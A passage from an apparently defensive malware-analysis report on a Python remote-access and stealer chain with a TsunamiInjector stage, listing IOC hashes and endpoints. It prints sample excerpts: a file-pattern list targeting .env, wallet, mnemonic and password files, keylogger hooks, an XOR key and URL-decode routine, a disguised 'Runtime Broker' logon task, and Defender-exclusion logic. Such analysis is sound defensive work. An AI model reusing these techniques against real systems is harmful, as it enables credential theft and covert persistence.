    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getnode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;getuser&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The resulting host context includes system name, release, version, hostname, username and a derived identifier. &lt;code&gt;Position.get_geo&lt;/code&gt; calls &lt;code&gt;http://ip-api.com/json&lt;/code&gt; and collects location/network fields such as country, timezone, ISP, and IP; the internal-IP helper uses the local socket hostname.&lt;/p&gt;

&lt;p&gt;The registration request has these literal field names:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ts&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;milliseconds&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hid&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ss&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sys_info&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cc&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_information&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The destination is the sample's HTTP C2 &lt;code&gt;/keys&lt;/code&gt; path on port 1224. Note the conversion of the system information to a &lt;strong&gt;string&lt;/strong&gt; in &lt;code&gt;cc&lt;/code&gt;, rather than a nested structured object.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. &lt;code&gt;.n2/pay&lt;/code&gt;: remote-control transport
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; decoded lines 85–123, 237–280, and 505–525.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Session.connect&lt;/code&gt; opens the socket and announces a code-0 message. &lt;code&gt;Session.sendall&lt;/code&gt; prefixes each JSON body with a network-order unsigned 32-bit length:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Selected original framing statements (not a socket implementation)
&lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;I&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ii&lt;/span&gt;
&lt;span class="c1"&gt;# ...
&lt;/span&gt;&lt;span class="n"&gt;ml&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;I&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ll&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The receiving client decodes the JSON structure &lt;code&gt;{'code': ..., 'args': ...}&lt;/code&gt;, selects a method through a &lt;code&gt;Shell.cmds&lt;/code&gt; mapping and starts a new thread. The client class reconnects to port &lt;strong&gt;2249&lt;/strong&gt; after failure or disconnection.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Handler&lt;/th&gt;
&lt;th&gt;Functionality found in decoded source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_obj&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses shell-backed &lt;code&gt;subprocess.Popen&lt;/code&gt;, captures stdout/stderr, recognizes &lt;code&gt;cd&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_cmd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Invokes Python process termination on Windows or Unix-like platforms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_clip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sends/clears captured event buffer &lt;code&gt;e_buf&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_run&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Downloads and runs the &lt;code&gt;bow&lt;/code&gt; module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_upload&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Upload requested files, directories or search results&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_kill&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Targets Chrome and Brave processes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_any&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Downloads/launches &lt;code&gt;.n2/adc&lt;/code&gt; from &lt;code&gt;/adc/10&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssh_env&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Searches existing drives C–G for &lt;code&gt;*.env&lt;/code&gt;, then uploads matches&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Relevant classes and functions:&lt;/strong&gt; &lt;code&gt;Shell&lt;/code&gt;, &lt;code&gt;Client&lt;/code&gt;, &lt;code&gt;Session&lt;/code&gt;, &lt;code&gt;ssh_obj&lt;/code&gt;, &lt;code&gt;ssh_cmd&lt;/code&gt;, &lt;code&gt;ssh_clip&lt;/code&gt;, &lt;code&gt;bro_down&lt;/code&gt;, &lt;code&gt;ssh_run&lt;/code&gt;, &lt;code&gt;ss_hup&lt;/code&gt;, &lt;code&gt;ss_upf&lt;/code&gt;, &lt;code&gt;ss_ufind&lt;/code&gt;, &lt;code&gt;ssh_env&lt;/code&gt;, &lt;code&gt;ssh_kill&lt;/code&gt;, &lt;code&gt;down_any&lt;/code&gt;, &lt;code&gt;ssh_any&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Developer-file targeting
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; decoded lines 134–138 and 442 onward.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;pat_envs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.env&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;config.js&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;secret&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;metamask&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;wallet&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;private&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mnemonic&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;account&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.xls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.xlsx&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.doc&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.docx&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.rtf&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The implementation filters common bulky development and system directories while looking for matches. The exclusions include &lt;code&gt;vendor&lt;/code&gt;, &lt;code&gt;node_modules&lt;/code&gt;, &lt;code&gt;.git&lt;/code&gt;, &lt;code&gt;.next&lt;/code&gt;, common build directories and operating-system paths. The upload code uses multipart form field &lt;strong&gt;&lt;code&gt;multi_file&lt;/code&gt;&lt;/strong&gt;, attaches campaign-specific host fields, and addresses &lt;code&gt;/uploads&lt;/code&gt; over HTTP.&lt;/p&gt;

&lt;p&gt;An upload-bookkeeping path, &lt;code&gt;.n2/flist&lt;/code&gt;, also appears as an optional file name, but no populated upload-list artifact was recovered from this case.&lt;/p&gt;

&lt;h4&gt;
  
  
  Windows event hooks and clipboard
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; decoded lines 551–619.&lt;/p&gt;

&lt;p&gt;The recovered symbols include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;act_win_pn        foreground process/window information
check_window      active-window change bookkeeping
hmld              MouseLeftDown callback
hmrd              MouseRightDown callback
hkb               KeyDown callback
run_copy_clipboard clipboard capture helper
startHk / hk_loop hook registration and message loop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The hook names are &lt;code&gt;MouseLeftDown&lt;/code&gt;, &lt;code&gt;MouseRightDown&lt;/code&gt;, and &lt;code&gt;KeyDown&lt;/code&gt;; the code stores event data in the &lt;code&gt;e_buf&lt;/code&gt; buffer, samples clipboard content through &lt;code&gt;pyperclip&lt;/code&gt;, and annotates the active process/window name via Windows APIs. &lt;code&gt;check_window&lt;/code&gt; formats a timezone using &lt;strong&gt;UTC+9&lt;/strong&gt;, a distinctive hardcoded display setting in this variant.&lt;/p&gt;

&lt;p&gt;The actual imports and fallbacks reference &lt;code&gt;pyWinhook&lt;/code&gt;, &lt;code&gt;pyperclip&lt;/code&gt;, &lt;code&gt;psutil&lt;/code&gt;, and &lt;code&gt;pywin32&lt;/code&gt; (with the hook library imported under the &lt;code&gt;pyHook&lt;/code&gt; API name). This connects the installed Python package metadata to specific functions in the payload.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. &lt;code&gt;.n2/bow&lt;/code&gt;: the embedded TsunamiInjector generator
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; decoded lines 1–20 and 1494–1662.&lt;/p&gt;

&lt;p&gt;The decoded loader opens with this short text:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sometimes you never know the value of a moment until it becomes a memory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most of the source consists of &lt;code&gt;TSUNAMI_INJECTOR_SCRIPT&lt;/code&gt;, an embedded next-stage template. The loader also defines &lt;code&gt;obfuscate_script&lt;/code&gt;, &lt;code&gt;is_python_installed&lt;/code&gt;, &lt;code&gt;execute_python_with_uac&lt;/code&gt;, and &lt;code&gt;install_python&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The final write operation in the source is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Exact source statements, shown without the surrounding executable flow
&lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TSUNAMI_INJECTOR_PATH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;obfuscate_script&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TSUNAMI_INJECTOR_SCRIPT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loop_count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That code directly explains the separately recovered 50-layer Startup artifact. The Python prerequisite fallback references the official &lt;strong&gt;Python 3.11.0&lt;/strong&gt; installer, checks &lt;code&gt;SOFTWARE\Python\PythonCore&lt;/code&gt;, and requests installation using the Windows &lt;code&gt;runas&lt;/code&gt; verb.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Normalized source comparison:&lt;/strong&gt; decode &lt;code&gt;bow&lt;/code&gt; 114 layers, extract &lt;code&gt;TSUNAMI_INJECTOR_SCRIPT&lt;/code&gt; through Python's AST literal inspection, decode the Startup artifact 50 layers, replace only the randomized &lt;code&gt;RandVar&lt;/code&gt; numeric assignment with the same placeholder, then compare the remaining plaintext. The two resulting strings are equal and have normalized SHA-256:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;c571be1970eadbe808bc5d18f91d70af482b9bb14366dca66dcdbb88f9058e33
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. TsunamiInjector: structure of the next-stage download
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; decoded &lt;code&gt;Windows Update Script.pyw&lt;/code&gt;, lines 25–38, 183–218, and 1227–1364.&lt;/p&gt;

&lt;p&gt;The top-level names reveal the loader's intended installer destination:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;TSUNAMI_INSTALLER_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Runtime Broker&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;TSUNAMI_INSTALLER_FOLDER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;rf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ROAMING_APPDATA_PATH&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;\Microsoft\Windows\Applications&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;TSUNAMI_INSTALLER_PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;rf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;TSUNAMI_INSTALLER_FOLDER&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;\Runtime Broker.exe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;download_installer_url&lt;/code&gt; stores the 1,000 encoded profile strings. &lt;code&gt;xor_encrypt&lt;/code&gt; / &lt;code&gt;xor_decrypt&lt;/code&gt; and &lt;code&gt;decode&lt;/code&gt; turn each entry back into a Pastebin URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# The original decode logic, rendered as a non-network excerpt
&lt;/span&gt;&lt;span class="n"&gt;XOR_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!!!HappyPenguin1950!!!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;encoded_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unhexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;encoded_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;XOR_KEY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;XOR_KEY&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;url_text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded_bytes&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This mirrors the original source's three operations (hex, XOR, Base64 and reversal); its only changes are readability and local variable names. It does not fetch URLs or download payloads.&lt;/p&gt;

&lt;p&gt;The loader uses the recovered functions &lt;code&gt;download_pastebin_document&lt;/code&gt;, &lt;code&gt;extract_url&lt;/code&gt;, &lt;code&gt;download_installer&lt;/code&gt;, and &lt;code&gt;extract_payload&lt;/code&gt; to attempt resolving a follow-on URL and preparing the installer. The downloaded content is handled as reversed gzip-encoded bytes in the extraction flow. Candidate profile URLs are in the accompanying CSV; they were &lt;strong&gt;decoded offline&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. TsunamiInjector: task and security configuration
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; decoded lines 38–115, 1358–1438.&lt;/p&gt;

&lt;p&gt;The embedded helper called &lt;code&gt;TSUNAMI_PAYLOAD_SCRIPT&lt;/code&gt; contains the &lt;strong&gt;&lt;code&gt;Runtime Broker&lt;/code&gt;&lt;/strong&gt; scheduled-task specification:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Task:        Runtime Broker
Trigger:     AtLogOn
Action:      %APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe
Run context: interactive user, elevation requested via UAC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It defines &lt;code&gt;add_windows_defender_exception&lt;/code&gt;, &lt;code&gt;create_task&lt;/code&gt;, and &lt;code&gt;is_admin&lt;/code&gt;, and includes PowerShell Defender-exclusion logic for AppData installer/client locations and an &lt;code&gt;msedge.exe&lt;/code&gt;-named miner location. The main injector creates a temporary obfuscated copy of the helper, attempts to launch it via &lt;code&gt;pythonw.exe&lt;/code&gt; and the Windows &lt;code&gt;runas&lt;/code&gt; verb, and retries if elevation fails. These are elevation &lt;em&gt;requests&lt;/em&gt;, not a UAC bypass exploit.&lt;/p&gt;

&lt;p&gt;The recovered Python chain ends here. The later &lt;code&gt;Runtime Broker.exe&lt;/code&gt; .NET binary, Tor proxy, and final Tsunami client described by ESET are not present in this recovered sample set.&lt;/p&gt;

&lt;h4&gt;
  
  
  8. Function-name index
&lt;/h4&gt;

&lt;p&gt;The recovered function names include &lt;code&gt;HostInfo&lt;/code&gt;, &lt;code&gt;Position&lt;/code&gt;, &lt;code&gt;Session&lt;/code&gt;, &lt;code&gt;Shell&lt;/code&gt;, the &lt;code&gt;ssh_*&lt;/code&gt; dispatch handlers, hook callbacks, &lt;code&gt;.env&lt;/code&gt; enumerators, and Tsunami injector/helper functions.&lt;/p&gt;

&lt;p&gt;Case-derived hashes, endpoints, and dependency versions follow in Appendix B.&lt;/p&gt;




&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Appendix B — Technical reference and indicators
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Original recovered files and hashes
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Artifact&lt;/th&gt;
&lt;th&gt;Bytes&lt;/th&gt;
&lt;th&gt;SHA-1&lt;/th&gt;
&lt;th&gt;SHA-256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%USERPROFILE%\.npl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6,503&lt;/td&gt;
&lt;td&gt;&lt;code&gt;e8536d7742da60022674e2bbeff7ff263d568815&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;97fc2d5744d4a8a776260a6304f35d74017f6db43f77510297aa2977ebde6037&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%USERPROFILE%\.n2\pay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;22,235&lt;/td&gt;
&lt;td&gt;&lt;code&gt;056066ba885a520fdc9155c27377ac08650abe2e&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ae0bd0b75659ee1c13acfbbf8f4b887f131f2feb89d4264b20a8dedbf7d8a879&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;%USERPROFILE%\.n2\bow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;257,995&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10d79a3d9d0802625d7775d3ed389652e06506c1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;54400afac62458d8bab19889882a4bd5191e1b01c5fe9acdb1ade29d478b136c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Startup TsunamiInjector payload&lt;/td&gt;
&lt;td&gt;123,030&lt;/td&gt;
&lt;td&gt;&lt;code&gt;075f27373c43d0f84af9f8f439664f30d9ab5d56&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0e306696c35f9ddf50cd3bbe0b09ac4f1532c52e928e54db6a35c6371892f43c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Later archived &lt;code&gt;babel.config.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;566&lt;/td&gt;
&lt;td&gt;&lt;code&gt;23b15716d00e4510de71e5f1f7f3d77ca4d66a8c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2dc95e33aa626a314e0fc6c7ec5c9b1aa2f2c4583e069e69abf5cfa8add5cde7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
